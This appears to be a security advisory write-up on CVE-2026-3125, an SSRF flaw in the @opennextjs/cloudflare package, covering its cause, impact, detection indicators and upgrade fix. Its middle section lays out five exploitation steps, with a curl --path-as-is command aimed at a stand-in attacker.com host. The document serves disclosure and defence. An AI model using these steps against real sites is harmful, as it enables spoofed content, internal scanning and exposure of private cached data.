CVE-2026-3125: 
JavaScript vulnerability analysis and mitigation

CVE-2026-3125 is a Server-Side Request Forgery (SSRF) vulnerability in the @opennextjs/cloudflare npm package, caused by a path normalization bypass in the /cdn-cgi/image/ handler. Affected versions are all releases of @opennextjs/cloudflare prior to 1.17.1. The vulnerability was disclosed on March 4, 2026, with a patch released the same day. It carries a CVSS v3.1 base score of 6.5 (Medium) and a CVSS v4.0 base score of 7.7 (High) (GitHub Advisory, GitHub PR).

The root cause is classified under CWE-706 (Use of Incorrectly-Resolved Name or Reference) and CWE-918 (Server-Side Request Forgery). The @opennextjs/cloudflare worker template includes a /cdn-cgi/image/ handler intended only for development; in production, Cloudflare's edge is expected to intercept these requests before they reach the Worker. An attacker can bypass this edge interception by substituting a backslash for the forward slash in the path (e.g., /cdn-cgi\image/ instead of /cdn-cgi/image/). The JavaScript URL class then normalizes the backslash to a forward slash, causing the request to match the handler and trigger an unvalidated fetch() of arbitrary remote URLs — for example: https://victim-site.com/cdn-cgi\image/aaaa/https://attacker.com. A secondary variant affects Cloudflare Workers with Assets and Cloudflare Pages, where the same backslash bypass can expose private assets stored under /cdn-cgi/ paths (e.g., incremental cache data at /cdn-cgi/_next_cache). Exploitation requires HTTP clients that preserve backslashes in paths (e.g., curl --path-as-is); standard browsers normalize backslashes before sending requests and are not affected (GitHub Advisory).

Successful exploitation allows an attacker to serve attacker-controlled content through the victim site's domain, violating the same-origin policy and potentially enabling phishing or misleading downstream services. The SSRF can also be leveraged to scan internal infrastructure from Cloudflare's IP space, exhaust Worker resources, or expose private cached data (such as incremental Next.js cache stored under /cdn-cgi/_next_cache) that is not intended to be publicly accessible. Confidentiality and integrity are both impacted, though availability is not directly affected (GitHub Advisory).

There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation at the time of disclosure (GitHub Advisory). The vulnerability was responsibly disclosed by security researcher Ezzer17. The EPSS score is approximately 0.013% (very low probability of exploitation in the next 30 days), and the CVE is not listed in CISA's Known Exploited Vulnerabilities catalog. Exploitation is limited to non-browser HTTP clients that preserve backslashes in URL paths, which reduces the practical attack surface.

1. Identify a target: Locate a site deployed on Cloudflare using @opennextjs/cloudflare versions prior to 1.17.1 (e.g., via HTTP response headers, JavaScript bundle analysis, or public deployment metadata).
2. Craft the bypass URL: Construct a request URL substituting a backslash for the forward slash after /cdn-cgi, such as https://victim-site.com/cdn-cgi\image/aaaa/https://attacker.com, to bypass Cloudflare's edge interception.
3. Send the request with a compatible client: Use a tool that preserves backslashes in URL paths, such as curl --path-as-is 'https://victim-site.com/cdn-cgi\image/aaaa/https://attacker.com'. Standard browsers are not suitable as they normalize backslashes before sending.
4. Trigger SSRF: The Worker's JavaScript URL class normalizes the backslash to a forward slash, matching the /cdn-cgi/image/ handler, which then performs an unvalidated fetch() to the attacker-controlled URL.
5. Retrieve attacker-controlled content or private assets: Attacker-controlled content is served through the victim's domain. Alternatively, use the same backslash bypass against /cdn-cgi/_next_cache paths to retrieve private incremental cache data stored by Open Next projects (GitHub Advisory).

• Network: Inbound HTTP requests to /cdn-cgi\image/ (with a literal backslash) from non-browser user agents (e.g., curl); outbound fetch requests from the Cloudflare Worker to unexpected external domains.
• Logs: Cloudflare Worker access logs showing requests with backslash characters in the path (e.g., GET /cdn-cgi\image/...); requests originating from automated tools or scripts rather than browsers (identifiable by User-Agent headers).
• Application Behavior: Responses from the victim domain serving content originating from third-party or attacker-controlled hosts; unexpected access to /cdn-cgi/_next_cache or other private /cdn-cgi/ asset paths.

The primary remediation is to upgrade @opennextjs/cloudflare to version 1.17.1 or later, which includes a root-cause fix for the unvalidated fetch in the /cdn-cgi/image/ handler (GitHub Advisory, npm). Cloudflare also deployed a server-side platform update to block backslash path normalization bypasses for /cdn-cgi requests, which automatically mitigates the issue for all existing deployments on Cloudflare Workers. Additionally, users of create-cloudflare (c3) should update to a version that references the patched adapter. As a defense-in-depth measure, implement strict server-side input validation to reject or sanitize backslash characters in URL paths, and restrict access to /cdn-cgi/ paths where possible.

The advisory was published by Cloudflare (via petebacondarwin) on March 4, 2026, and credited security researcher Ezzer17 for responsible disclosure (GitHub Advisory). The vulnerability received coverage from automated CVE tracking feeds and security aggregators shortly after disclosure. No significant broader media coverage or notable researcher commentary beyond the official advisory has been identified.